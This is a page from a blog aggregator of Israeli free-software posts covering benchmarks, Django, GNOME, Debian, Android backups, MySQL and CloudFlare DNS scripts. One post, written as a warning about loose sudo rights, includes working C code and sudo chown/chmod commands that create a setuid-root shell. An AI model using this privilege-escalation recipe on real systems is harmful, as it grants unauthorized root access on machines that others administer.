במצב של חסכון אנרגיה (צריכת הספק 4.5 וואט). המחשב ניגן ללא קושי סרטים באיכות 720P אך מאוד התקשה לנגן סרטים באיכות של 1080P. במצב עבודה רגיל (צריכת הספק 5-10 וואט) הוא התמודד ללא קושי בניגון סרטים באיכות של 1080P,  אך לא היה מסוגל לנגן סרטים באיכות גבוהה יותר (1440P ו- 2160P).

משחקים:
משחקים מאפשרים לבדוק את יכולת המעבד הגרפי. ניסיתי לשחק מספר משחקים: שניים בדו מימד ושלושה בתלת מימד. משחקי הדו מימד ששיחקתי היו: Lbreakout ו- Pathological. בשניהם משחקים עם כדור שנראה נע היטב על המסך (תנועה רציפה ללא תקיעות). מכאן עברתי למשחק תלת מימד הדורש מעט משאבים (Neverput). המשחק משוחק היטב ולא זיהיתי בעיות כלשהן. כאן כבר החלטתי לאתגר קצת יותר את המעבד והמאיץ הגרפי ושיחקתי במשחקים TuxExtreem ו- SuperTuxKart. משחקים אלו שוחקו ברזולוציה גבוהה יחסית והמאיץ הגרפי עשה עבודה לא רעה: התנועה על המסך היייתה טובה וחלקה (כפי בוודאי שתוכלו להתרשם בסרטון הבא). אין ברשותי משחקי תלת מימד כבדים יותר ולכן לא יכולתי לבצע מבחנים רציניים יותר (אך זה לא רלוונטי: המחשב הזה לא מיועד לגיימרים!)

 

Bootchart:
זמן הטעינה של מערכת ההפעלה היא כ- 30 שניות. מי שמעוניין צירפתי את את תרשים ה- Bootchart:

תרשים Bootchart

 

אז עד כאן מבחני הביצועים שביצעתי. אני רוצה לציין: אינני מומחה בתחום בדיקות הביצועים, אך נראה לי שהבדיקות השונות שביצעתי, כן יכולות לתת תמונה כללית על ביצועי המחשב. דיסק ה- SSD של המחשב בהחלט חזק, המעבד (CPU) והזכרון קצת איטיים (בהשוואה לחומרה ממוצעת הנמכרת היום), המעבד הגרפי סביר ביותר.

אז מה כל המספרים והבדיקות הללו מציינים? למי המחשב מתאים? למה הוא יכול לשמש ומה דעתי עליו לאחר 3 שבועות של שימוש? תשובות לשאלות אלו תקבלו בחלק הבא והאחרון של הסקירה: סיכומים ומסקנות

 

My Signature

08 May, 2015 11:00 AM

05 May, 2015

Meir Kriheli

מצגת ההרצאה אודות החידושים ב-Django 1.8

Django 1.8 מגיעה עם כמות גדולה מאוד של חידושים, שינויים והסרת תמיכה בתכונות שהוגדרו כלא ממולצות לשימוש במשך 2 גרסאות קודמות.

ההרצאה אודות החידושים ב-Django 1.8 שהועברה במסגרת PyWeb-IL 44 זמינה בעמוד הרצאות ומצגות.

05 May, 2015 09:38 AM

13 April, 2015

Liran Tal

The Drupal Rap song – Everyday I’m Drupalin’

This YouTube video doesn’t need any further explanation beside it’s title: The Drupal Rap song – Everyday I’m Drupalin’

 

 

 

Lyrics:

Chorus
Everyday I’m drupalin

Verse
Where them forms you gettin fapi with I’m the fapi boss/ hookin into edit form and webforms is my specialty sauce/ I’ll hook form alter by form id’s or entities/ put a list on Ajax/ just to keep it callin back/

I got them distrobutions, I’m like acqia/
Check my public repos, I didn’t copy nuttin/ I know dries n webchick, I kno Ryan szrama/ all the commerce guys we hipchat when they got some drama/
Might not be pretty code but it gets me paid/ I’m using rules like php loopin through arrays/ I put it all in features, so the code is stable/ it might take longer, but next time I just click enable/ These dudes clearin caches, on every hook init/ queries by thousands, page loads by the minutes

Verse
No matter the language we compress it hard/ drugs cc all, we just drugs cc all/
Where’s all of the changes, you never saw/ so drush cc all, we just drugs cc all/ I lean heavy on smacss, compass compilin my sass/ you just installed flexslider now you teachin a class/
I seen your content types, I don’t need to kno you/ to know that we ain’t even in the same nodequeue/
I’m on drupal answers, check my reputation/ I’m on my tablet earnin karma while I’m on vacation/ ya girl like a module, she stay hookin n/ you couldn’t code an info file, without lookin in/
Mo scrums, equals better sprints, break the huddle, n the work begins

Thanks to New Valley Media for helping with the video http://www.newvalleymedia.com/
Thanks to Broadstreet Consullting http://www.broadstreetconsulting.net

The post The Drupal Rap song – Everyday I’m Drupalin’ appeared first on Liran Tal's Enginx.

13 April, 2015 05:26 PM

28 March, 2015

Lior Kaplan

תשע שנים כמפתח דביאן

החודש עברו 9 שנים מאז שקיבלתי מעמד פורמלי בדביאן כמפתח (Debian Developer). למרות השם, עיקר הפעילות היא תחזוקת חבילות ולא פיתוח קוד נטו. תהליך הכניסה היה ארוך ומתיש, אך ללא ספק העמיק את ההבנה והיכולות הטכניות שלי. בבלוג הישן שלי יש פוסט "סיום ההסמכה וקבלת הכרה רשמית" שנותן מבט-על על התהליך.

רמת המעורבות שלי בדביאן עולה ויורדת בהתאם לעומס הכללי שלי, אך הדבר הקבוע שכל עיסוק אחר שלי בקוד פתוח, מוצא בסופו של דבר את החיבור שלו לדביאן. לאורך השנים זה היה ליברה אופיס ובזמן האחרון זה PHP בהם הפעילות בפרוייקטים עוזרת לשפר את המצב בדביאן. לפעמים זה דרך קידום באגים שמפריעים למשתמשי ההפצה, פתרון בעיות טכניות של צוות האריזה וכו'. בשני המקרים האלה, יש גם שיתוף פעולה הדוק בכיוון ההפוך, כאשר אורזים את הגרסאות החדשות להפצה וכך עוזרים לבצע בדיקות בהיקף רחב יותר. בבלוג באנגלית יש דוגמה על שיתוף פעולה זה כחלק מתהליך של PHP 5.6.

מעבר לצד הטכני, אני משתדל להגיע לכנסי דביאן לאורך השנים (2005, 2006, 2007, 2011, 2013) כדי לפגוש את הקהילה פנים מול פנים וכדי לפגוש אנשים מפרוייקטי קוד פתוח אחרים שמגיעים לאירוע. בגלל הצד האנושי, אני מוכרח להודות שמפגשים אלה, הגם שכרוכים בהם המון שעות מול המחשב (סוף סוף זמן שקט לקוד פתוח) הם עדיין סוג של חופשה שנתית. להרגשתי, זה גם אחד הדברים ששומרים על הגחלת של המשך הפעילות בפרוייקט – שיש משהו מעבר לצד הטכני נטו.


תויק תחת:Debian GNU/Linux

28 March, 2015 11:07 AM

25 March, 2015

Yosef Or Boczko

‏GNOME 3.16 שוחרר !

ערב טוב.

לאחר מחזור פיתוח בן שישה חודשים, שוחררה גרסה 3.16 של שולחן העבודה GNOME !

GNOME 3.16.0 Hebrew

גרסה זו מכילה 33525 שינויים שנרשמו ב־Git על ידי 1043 תורמים, בהשוואה ל־28859 שינויים על ידי 871 תורמים ב־3.14.

אחוז התרגום עומד על 82% (35965 מחרוזות מתורגמות, 3087 מעורפלות ו־4453 שאינן מתורגמות) בהשוואה ל־84% (36629 מחרוזות מתורגמות, 2698 מעורפלות ו־3966 שאינן מתורגמות) ב־3.14 ומספר דומה ב־3.12. על התרגום בעיקר אני אחראי, יחד עם ירון ואנטולי. אני מקווה שאמצא זמן להשלים את הפער מהגרסות הקודמות, לקראת 3.18. עדיין, שולחן העבודה מתורגם באופן מלא (קרי, אני לא מוצא מחרוזות שאינן מתורגמות ביישומי GNOME הרשמיים המתורגמים).

כל המעוניין לעזור במלאכת התרגום יותר ממוזמן לשלוח לי הודעה לדוא״ל (yoseforb תחת gnome dot org), מדי פעם אני גם נמצא בערוץ ‎#gnome-il תחת GimpNet בכינוי yoseforb.

אציין כי התרגום מתבצע על פי כללי התרגום של מיזם גֶּזֶר.

ברשומה אותה פרסמתי לפני שלושה שבועות סקרתי את השינויים העיקריים במחזור פיתוח זה. אציין כי אמש מוזג ענף פיתוח משמעותי של gnome-builder, על כן הרשומה אינה עדכנית ליישום זה (וכך גם תרגום הממשק, אגב).

אשוב ואבקש עצה לתרגום שם היישום MultiWriter. כפי שכתבתי ברשומה הקודמת, „רב כותב” לא מוצא חן בעיני.

אוסיף ואבקש רעיון לתרגום סביבת הפיתוח החדשה ל־GNOME, הנקראת Builder. בנאי או בונה גם לא נשמע לי.

להלן מוטמע סרטון המציג את GNOME 3.16. קריינות על ידי קארן סנדלר, לשעבר מנכ״ל קרן GNOME, עריכה על ידי Bastian Ilsø, שערך גם את הסרטון עבור הגרסה הקודמת, 3.14.

אציין כי במחזור פיתוח זה לא הייתי מעורב כבעבר. הכנסתי מעט שינויים לדפדפן GNOME והשארתי לעצמי כמה עבודות בהתהוות מבלי להשלימן. את התרגום, אני מקווה, הספקתי לעדכן.

כרגיל, אוסיף כאן שיר. שיר מיוחד. כמה שאשמע אותו, לי יהא כאילו זו פעם ראשונה אני שומע שיר זה.

גם שיר זה מאריאל הורוביץ, ועל כך תודה לו.

בברכה,

יוסף אור

25 March, 2015 04:31 PM

24 March, 2015

Meir Kriheli

מצב התרגום לעברית של Django 1.8

Django 1.8 נמצא בהקפאת מחרוזות, הגיע הזמן לעדכן את התרגום העברי מאחר ו-django-core עמד על 93%.

לאחר יומיים של עבודה, עומדים על 100%:

נשארו בחוץ עקב חוסר זמן והיקף המשימה:

24 March, 2015 09:03 AM

21 March, 2015

Guy Rutenberg

Hebrew with XeTeX Example

This is an example of a document in XeTeX (Actually XeLaTeX). I’ve used The fonts from the Culmus Project. Note that you’ll need Culmus 0.121 or newer in order to get the Frank Ruehl font in TrueType. As you can see, Nikud are placed correctly. The cantillation marks (טעמי המקרא) are in a small offset compared to the ideal position.

Overall, XeTeX works much better with Hebrew (and easier to use) than pdfTeX.

heb-test

\documentclass{minimal}
\usepackage{polyglossia}
\setdefaultlanguage{hebrew}
\setotherlanguage{english}
\usepackage{fontspec}
\setmainfont{Frank Ruehl CLM}
\setmonofont{Miriam Mono CLM}
\setsansfont{Simple CLM}
% Use the following if you only want to change the font for Hebrew
%\newfontfamily\hebrewfont[Script=Hebrew]{David CLM}
%\newfontfamily\hebrewfonttt[Script=Hebrew]{Miriam Mono CLM}
%\newfontfamily\hebrewfontsf[Script=Hebrew]{Simple CLM}
 
 
 
\makeatletter
\makeatother
\usepackage{bidi}
\begin{document}
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
 
\sffamily
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
 
 
\ttfamily
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
\end{document}

21 March, 2015 07:58 AM

19 March, 2015

Lior Kaplan

CVE assignment without upstream knowledge

In the past few months I’ve been dealing with aligning PHP CVE information to enable easier tracking of security fixes. The two main locations are the NEWS file which is part of each release and the changelog available on the website which is more popular (and easier to update).

Usually the CVE are assigned per PHP.net security team request or with cooperation with one of the Linux distribution’s teams (either PHP or security), as should be in a good ecosystem.

Recently I got a few notifications issued by Debian about its PHP package, which I wasn’t familiar with these CVE IDS. When checking this, I found out a few CVE assigned per 3rd party (Linux distribution, bug reporter, etc…) request without upstream knowledge. Digging deeper I found out that some CVE were assigned a month after the fixes were released, while others were only a week or two after. While this makes sure the security information is documented, it’s harder to add the information after tagging and releasing.

In another case, while discussing about a CVE for a specific bug, we found out one was already assigned per the reporter’s request but without the our or the upstream library knowledge. Even if the issue isn’t severe, upstream should get a fair chance to fix issue before making them public. Which also leads to a problem with requesting CVE IDs on a public mailing list which in some cases leads to security information leakage. We should balance transparency with some grace period for upstreams (as projects share code).


Filed under: Debian GNU/Linux, PHP

Full text

19 March, 2015 05:33 PM

16 March, 2015

Liran Tal

Prevent clickjacking on Drupal and other Apache web applications

Security is an important aspect to keep an eye for, and this time it’s about preventing clickjacking on Drupal and other Apache web applications.

Edit apache’s configuration file, which may be your declared vhost or such, usually at a location like /etc/httpd/conf.d/default.conf and make sure the  following

 

<IfModule mod_headers.c>
Header always append X-Frame-Options SAMEORIGIN
</IfModule>

 

This will disable embedding your website as an iFrame.

0013_clickjacking

The post Prevent clickjacking on Drupal and other Apache web applications appeared first on Liran Tal's Enginx.

16 March, 2015 01:23 PM

14 March, 2015

Diego Iastrubni

Atom – חרא של עורך

אטום הוא מתיימר להיות מחליף של sublime אבל הוא חרא בריבוע. איטי… דוגמאות:

  1. הוא לא יכול לפתוח קבצים בגודל 2 מגה ומעלה. קבצי C יכולים להגיע לגדרים כאלו בקלות.
  2. הגלילה שלו לא מהירה מספיק.
  3. התמיכה שלו בכל דבר שהוא לא ווב, היא פשוט דרעק. עריכה של קבצי bash היא … לא טובה.
  4. תפתחו קובץ עם 200 שורות, תבחרו באפשרות Selection -> Split into lines, תלחצו home, ואם התחביר שלכם הוא C, אז חלק מהשורות יהיו בתחילת השורה הלוגית וחלק בעמודה 0. לחיצה פעמיים על home לא תעזור לכם. אחרי 20 פעמים, תהיה exception והעורך לא יעבוד שוב.
  5. התוכנה פשוט מאבדת את הסמן מהר מדי… לא הבנתי איך אבל יותר מדי פעמים אני בפוקוס על החלון ואין לי סמן. רק לחיצה על החלון פותרת את זה.
  6. תפתחו XML עם 500 שורות. סמנו 500 שורות. שוב Selection -> Split into lines עכשיו תנסו לשנות משהו. העורך פשוט איטי בטירוף.

עצוב. מאוד.

הטקסט המלא

14 March, 2015 07:59 PM

13 March, 2015

Lior Kaplan

PHP7 replaces non-free JSON extension

For many the PHP JSON extension license might look like a storm in a teacup, but for many Linux distributions the bits of the free software licenses are very important. That was the case when Debian decided (#692613) to remove the non-free JSON extension as part of the transition to PHP 5.5 in May 2013 (after the Debian 7 release).

This change was done with the help of Remi Collet (from Fedora / Red Hat) who wrote an alternative extension based on JSON-C implementation. A similar change was done by other Linux distributions, and this became the defacto standard for most Linux users.

The situation has recently changed with the acceptance of the Jakub Zelenka’s jsond RFC to replace the current non-free implementation with a free one. The change was committed to the code base on early February (Closing #63520) and expected to be released later this year as part of PHP7.


Filed under: Free software licenses, PHP

Full text

13 March, 2015 09:43 AM

12 March, 2015

David Kaplan

CUPCake: sim.py -> sim.nim

So the (Python3) simulator is slllooowwwww (Kernel running at ~400KHz) and I decided to see whether there was some easy way to rectify the situation. Ultimately I'm simulating a very simple 8-bit RISC-based machine - albeit SPI-transaction-heavy for the display - and 400KHz on my 3GHz Haswell i5 is simply abysmal!

Unrelated to this issue, a few weeks ago I chanced across some discussions extolling and debating the virtues of some 'modern' languages. Having given Go[lang] a 'go' in the past - and disliking the experience immensly - I wondered if there was anything else out there that I could learn as I do enjoy learning new languages from time-to-time. And that's when I came across Nim.

What caught my eye was that is was being sold as a 'Python-like' language in respect to syntax and ease-of-use which generated Native code. Furthermore, its killer feature in my opinion is its ability to evaluate user functions at compile time and optimize accordingly.

To cut a long story short, I decided to re-implement the simulator in Nim, both as a way to learn the language and to see whether it would improve performance.

As a disclaimer: I don't yet know much Nim and my code is rubbish (e.g. I couldn't work out how to get a function-lookup hashtable working so I just went for the good ol' case-statement route for now). I basically just wrote it like i write Python and it mostly worked out okay.

At some point last night, the simulator's Nim-rewrite reached feature-parity (sans command line options) with the Python implementation (as of now depricated).

Kernel test executing on Nim simulator

I'm pretty happy with how this exercise worked out. The results are fantastic! The same kernel code is running on the nim-based (and hence native code) simulator (sim.nim, simdisplay.nim) about a factor of 10X better than the Python one! 3.5-4MHz is more like it! It's still around 10X-20X worse than the hardware should be but good enough for what I'm simulating at the moment. I can potentially eek out some more performance from it by writing code like a normal person and perhaps using an openGL-accelerated surface for the display; but that's an exercise for another time!

Nim is a great language and is a good demonstration of why Python isn't always 'good enough'. Highly recommended.

12 March, 2015 02:01 PM

07 March, 2015

Diego Iastrubni

גיבויים באנדאויד

דיברתי בעבר על גיבויים באנדרויד, אבל לא הסברתי לעומק. בפוסט זה אני אסביר טיפה על אודות גיבויים.

סוג ראשון – זמין בכל אנדרויד 4.0 – adb backup

כל שצריך הוא android-sdk מותקן על המחשב (למעשה את הפקודה adb בלבד) ואפשר לגבות איתה. השימוש הוא פשוט, לכתוב את הפקודה הבאה במחשב תוך כדי שהמכשיר הסלולרי מחובר למחשב:

adb backup  -f backup-2015-2-15.ab -apk -bb com.whatsup com.pinterest

הפקודה תיצור ארכיב שיש בו את החבילות שביקשתם, ההגדרות שלהן וההרחבות שלהן. ניתן לשים כמה חבילות שרוצים, וניתן לשנות את שם הקובץ שייכתב. יש לשים לב, כי צריך לשים את השם הקנוני של החבילה ולא הטקסט שכתוב בלאונצ'ר. כדי למצוא את השם המדוייק של החבילה אני משתמש בפקודה הבאה:

adb shell pm list packages | grep firefox
package:org.mozilla.firefox

לשיחזור, משתמשים בפקודה הבאה:

adb restore backup-2015-2-15.ab

כמה הערות:

  1. כשיתחיל הגיבוי בטלפון יהיה חלון שבו תתבקשו לשים ססמה כדי להגן את הגיבוי. אני סטלן ושוכח את הססמאות… אז לפעמים אני שם את הססמה בשם הקובץ… אבל לאחרונה גם וויתרתי על זה ואני פשוט מאשר כדי לעשות גיבוי ללא ססמה.
  2. אם גיבית אם ססמה – כדי לשחזר צריך גם ססמה. אם אין ססמה – אי אפשר לשחזר, מניסיון :)
  3. אין בעיות להעביר גיבוי בין מכשירים. אני העברתי את whatsup כולל היסטוריה מלאה של שיחות, כמה פעמים בין מכשירים בטכניקה הזאת.
  4. אני יצרתי סקריפט ששומר מספר חבילות (כאלו שאין בחנות של אנדרויד, שזמינות דרך FDroid) וגם שם את התאריך בשם הקובץ (שימוש בפקודת לינוקס date).
  5. אם תשימו את דגל -shared בסוף הפקודה (המקף מצד שמאל למילה) תגבו גם הגדרות כלליות של המכשיר (אני חושב שגם תמונות). אני מגבה אותן ידנית, פשוט מעתיק למחשב.
  6. כדי לגבות ולשחזר שיחות ו-SMS אני משתמש בתוכנה SMS & Call backup
  7. אנשי קשר ופגישות נשמרים בשרתים של גוגל. אני אישיתי משתמש ב-OwnCloud ומשתדל לא לשים אנשי קשר שם (וזה ממש קשה, גוגל די דוחפת שאני אעשה את זה, גם אם זה בטעות).
  8. בדביאן ניתן להתקין את החבילה android-tools-adb במקום להוריד כמה מגה מהשרתים של גוגל של android-sdk.

גיבוי שני – דרך ה-recovery. יפורסם בעתיד.

הטקסט המלא

07 March, 2015 09:10 PM

28 February, 2015

Shlomi Fish

Tech Tip: How to Configure Qt 5 Behaviour When Running on KDE4

Recently, I noticed that when running the VLC-2.2.0 prerelease, which is based on Qt 5 for its GUI, on my Mageia Linux 5 system on top of KDE 4, then in the playlist a single-click immediately played a file instead of selecting it, while reserving a double click for activation. After a long amount of research and thought, I figured out a way to configure Qt 5 on top of KDE.

To do so:

  1. Install lxqt-config and the “lxqt-qtplugin”.

  2. Add the line “export QT_QPA_PLATFORMTHEME=lxqt” somewhere before the desktop startup in your “.Xclients” or “.xinitrc” file (or in your “.bashrc”).

  3. Restart the X/KDE environment.

  4. Run “lxqt-config” to configure the appropriate behaviour.

This way one can use the Qt5 customisations of lxqt in KDE 4. Enjoy!

Licence

You can reuse this entry under the Creative Commons Attribution 3.0 Unported licence, or at your option any later version. See the instructions of how to comply with it.

28 February, 2015 12:12 PM

30 January, 2015

Dan Fruehauf

Privilege Escalation – be slack and pay for it

My predecessor(s) had left a bunch of people at my work place (not even developers) with sudo access to chown and chmod – for the purpose of data management. For a while I had tried to explain that having sudo access to just those two commands is effectively having full root access on the machines.

I had to demonstrate it. So I did:

cat <<EOF >> make-me-root.c
#include <unistd.h>
int main() {
    setuid(0);
    execv("/bin/bash", NULL);
    return 0;
}
EOF

gcc -o make-me-root make-me-root.c
sudo chown root make-me-root
sudo chmod u+s make-me-root

./make-me-root

Alright, demonstrated. Now it’s time for the raising eyebrows to follow.

And now also comes the part where I know it’s almost impossible to revoke privileges from people after they got used to a broken workflow.


30 January, 2015 12:43 AM

26 January, 2015

Rabin Yasharzadeh

Speed up a MySQL restore from a dump file

This is a small snippet I found to speed up importing MySQL dumps, it’s is almost as fast as coping the DB files directly.

Pre INSERT

Put the commands at the top of the dump file, e.g pre.sql,

SET @OLD_AUTOCOMMIT=@@AUTOCOMMIT, AUTOCOMMIT = 0;
SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS = 0;
SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS = 0;

 Post INSERT

Put these statements at the end of the dump file, e.g post.sql,

SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS;
SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS;
SET AUTOCOMMIT = @OLD_AUTOCOMMIT;

Example

cat <(cat pre.sql) <(bzcat mydb_backup.sql.bz2) <(cat post.sql) | mysql

 

26 January, 2015 02:55 PM

17 January, 2015

David Kaplan

CUPCake: Display simulation and Kernel character generation

I have made quite a bit of progress this weekend.

Firstly I'm nearing finalizing the ISA (Instruction Set Architecture) which I've started documenting. Currently most instructions are supported by the hardware itself bar the register-offset addressing.

As the defined ISA has overtaken hardware support, I decided that it's probably best implementing it as per the spec in the simulator; mainly to see if it's sufficient to do actual Turing-complete processing. To this end I've updated the simulator with support for the whole ISA. I've also made some major changes to the assembler to both in regards to suppls -lh te orting the new instructions and expand the lexical support. The assembler now can handle variables (in both .bss and .data), handles labels better, understands %define and can assemble the new offset addressing syntax.

One of the major new features in the simulator is (hacked together) support for my SPI-driven display module. I'm intending on using the ST7735R-based 1.8" LCD module from Adafruit driven off the first hardware SPI driver (SPI0). The simulated display is implemented using Pygame (SDL) and supports a 256x256 display matrix.

I have also made a start on the actual Kernel code itself. This currently consists of a basic SPI driver, the display driver for the ST7735R (sans proper init code as the simulator doesn't currently need it) and simple text routines.

For the character set I'm using the C64 character ROM with a basic routine to provide ASCII support. Here's the Kernel executing a routine on the simulator which dumps the charset:

Kernel test executing on simulator

The simulator is actually pretty slow. I'm getting ~400Khz on my Haswell i5. The hardware should run at around 100Mhz so a factor of ~250 better. Still a full screen refresh over SPI is pretty expensive...

17 January, 2015 09:47 PM

05 January, 2015

Amir Aharoni

Continuous Translation and Rewarding Volunteers

In November I gave a talk about how we do localization in Wikimedia at a localization meetup in Tel-Aviv, kindly organized by Eyal Mrejen from Wix.

I presented translatewiki.net and UniversalLanguageSelector. I quickly and quite casually said that when you submit a translation at translatewiki, the translation will be deployed to the live Wikipedia sites in your language within a day or two, after one of translatewiki.net staff members will synchronize the translations database with the MediaWiki source code repository and a scheduled job will copy the new translation to the live site.

Yesterday I attended another of those localization meetups, in which Wix developers themselves presented what they call “Continuous Translation”, similarly to “Continuous Integration“, a popular software deployment methodology. Without going into deep details, “Continuous Translation” as described by Wix is pretty much the same thing as what we have been doing in the Wikimedia world: Translators’ work is separated from coding; all languages are stored in the same way; the translations are validated, merged and deployed as quickly and as automatically as possible. That’s how we’ve been doing it since 2009 or so, without bothering to give this methodology a name.

So in my talk I mentioned it quickly and casually, and the Wix developers did most of their talk about it.

I guess that Wix are doing it because it’s good for their business. Wikimedia is also doing it because it’s good for our business, although our business is not about money, but about making end users and volunteer translators happy. Wikimedia’s main goal is to make useful knowledge accessible to all of humanity, and knowledge is more accessible if our website’s user interface is fully translated; and since we have to rely on volunteers for translation, we have to make them happy by making their work as comfortable and rewarding as possible. Quick deployments is one of those things that provide this rewarding feeling.

Another presentation in yesterday’s meetup was by Orit Yehezkel, who showed how localization is done in Waze, a popular traffic-aware GPS navigator app. It is a commercial product that relies on advertisement for revenue, but for the actual functionality of mapping, reporting traffic and localization, it relies on a loyal community of volunteers. One thing that I especially loved in this presentation is Orit’s explanation of why it is better to get the translations from the volunteer community rather than from a commercial translation service: “Our users understand our product better than anybody else”.

I’ve been always saying the same thing about Wikimedia: Wikimedia projects editors are better than anybody else in understanding the internal lingo, the functionality, the processes and hence – the context of all the details of the interface and the right way to translate them.


Filed under: Free Software, localization, software, Wikipedia Tagged: Waze, Wix

05 January, 2015 03:30 PM

25 December, 2014

Shachar Shemesh

נקסוס 4 לא עובד על פלאפון?

לפני כמה שבועות החלפנו את מפעיל הסלולר שלנו לחברת פלאפון (כך וכך בכך שקלים ידה ידה ידה). החל מאתמול בלילה יש בעיה מוזרה. ניתן להוציא וגם לקבל שיחות, אבל לא שומעים כלום מאף אחד משני הצדדים. פשוט כלום. העברתי את הסים שלי למכשיר ישן יותר (נקסוס S), ושם הבעיה לא קיימת. לכאורה, מקרה חד וחלק […]

The post נקסוס 4 לא עובד על פלאפון? appeared first on לינוקס ותוכנה חופשית.

25 December, 2014 06:55 PM

17 December, 2014

Rabin Yasharzadeh

Dynamic DNS with CloudFlare

This is a simple hack I found for my self to have a “Dynamic DNS” for my home IP.

I’m using CloudFlare as my name server to manage the zone file for my domain, And one of the nice things about FC is that they have nice API to manage your account. One of the options this API provides is the capability to update you DNS entries in the Zone.

Get your token

For all the action with the API you’ll 3 thinks, your privet token (called tkn in the API),  email and the action you like to perform.

You can find your token under your Account page

DNS Record ID

Next you’ll need to find the action you like to perform, in my case is to edit the zone file. which is under the “DNS Record Management” -> rec_edit menu, but for using this action you will need the ID number for the recored you like to change, and for that you will need to use “rec_load_all” action.

e.g

curl https://www.cloudflare.com/api_json.html \
  -d 'a=rec_load_all' \
  -d 'tkn=8afbe6dea02407989af4dd4c97bb6e25' \
  -d 'email=sample@example.com' \
  -d 'z=example.com'

The output will be in a JSON format, and the part you are looking for will look similar to this,

...
{
    "rec_id": "18136402",
    "rec_tag": "3bcef45cdf5b7638b13cfb89f1b6e716",
    "zone_name": "example.com",
    "name": "test.example.com",
    "display_name": "test",
    "type": "A",
    "prio": null,
    "content": "[server IP]",
    "display_content": "[server IP]",
    "ttl": "1",
    "ttl_ceil": 86400,
    "ssl_id": null,
    "ssl_status": null,
    "ssl_expires_on": null,
    "auto_ttl": 1,
    "service_mode": "0",
    -
    "props": {
        "proxiable": 1,
        "cloud_on": 0,
        "cf_open": 1,
        "ssl": 0,
        "expired_ssl": 0,
        "expiring_ssl": 0,
        "pending_ssl": 0
    }
...

Edit/Update the DNS record

Now that you have the ID for the record you like to change, it’s a matter of a simple curl command,

curl https://www.cloudflare.com/api_json.html \
  -d 'a=rec_edit' \
  -d 'tkn=8afbe6dea02407989af4dd4c97bb6e25' \
  -d 'id=18136402' \
  -d 'email=sample@example.com' \
  -d 'z=example.com' \
  -d 'type=A' \
  -d 'name=test' \
  -d 'content=1.2.3.4' \
  -d 'service_mode=0' \
  -d 'ttl=1'

This command will update the IP to 1.2.3.4 for test.example.com entery.

Automate the update process

To automate the process, i have a cron job which runs every 5 minutes, and query my external IP and compare it to the resolved IP form my DNS.

#!/bin/bash

CURRENT_IP=$(dig myip.opendns.com @resolver1.opendns.com +short)
RESOLVE_IP=$(dig dyn.example.com +short @jean.ns.cloudflare.com)

if [[ ${CURRENT_IP} != ${RESOLVE_IP} ]] ;
then
    echo "need to update IP from: ${RESOLVE_IP} -> ${CURRENT_IP}"
    curl https://www.cloudflare.com/api_json.html -d 'a=rec_edit' \
        -d 'tkn=c7ee1aef8131daf52e103a21a786ecbd99193' \
        -d 'email=X@Y.Z' \
        -d 'id=42' \
        -d 'z=example.com' \
        -d 'type=A' \
        -d 'name=dyn' \
        -d 'content='${CURRENT_IP} \
        -d 'service_mode=0' \
        -d 'ttl=120' \


else
    echo "nothing to do"
    exit 0;
fi

 

17 December, 2014 11:25 PM

20 November, 2014

Lior Kaplan

קוד פתוח בממשלת ישראל

נושא הקוד הפתוח בממשלה מעסיק אותי יותר מעשור. זה התבטא בהופעה בועדות שמידי פעם מונו, שעות ייעוץ לגופים שונים, שיחות רקע לעיתונאים ופה ושם גם ראיון. במקביל השתדלתי לתעד בויקי של המקור את השימוש של קוד פתוח בממשלה, לפחות מה שנחשף בציבור ואפשר לייחס למקור ברור.

באדיבות רם-און אגמון, הופתעתי השבוע לגלות מסמך של מרכז המחקר של הכנסת "השימוש במערכות מחשוב מבוססות קוד פתוח במשרדי הממשלה" שבודק מה המצב של הקוד הפתוח בממשלה השנה (2014). המסמך נוצר לבקשת חברת הכנסת תמר זנדברג (מרצ) ורקע לדיון עתידי בנושא זה בועדת המדע והטכנולוגיה. הסיבה שהתלהבתי מהמסמך הוא שהוא מתעד גם את ההיסטוריה של העיסוק הממשלתיבנושא (עוד מ-2002) וגם שימושים בתוך הממשלה שלא הכרתי וזאת בתשובה של גופים שונים לבירורים של מרכז המחקר (ולמרות שמעט מאוד גופים טרחו לענות).

גולת הכותרת היא כמובן השב"ס, שהמסמך חושף (עמ' 13-15) את היקפי השימוש בו יותר מאשר מקורות אחרים. לפני כמה שנים, באחת הועדות שנכחתי בהן נציג השב"ס טען כי מטרתם היא להפוך למעבדת החדשנות של השירות הציבורי. בתחום הקוד הפתוח הם ללא ספק הצליחו.

בנוסף לגופים הממשלתיים נטו, ישנו סעיף המתייחס לתעשיות הבטחוניות, שם המצב הרבה יותר טוב והאימוץ הרבה יותר מגוון. בהקשר זה חשוב להזכיר את כנסי הקוד הפתוח בתעשיות הבטחוניות שנערכים זה מספר שנים דרך עמותת המקור. הכנסים העלו באופן משמעותי את החשיפה שהתחום מקבל, הן חיצונית והן פנימית והובילו ליצירת קשרים רבים לטובת המשך הטמעה ואימוץ של קוד פתוח.

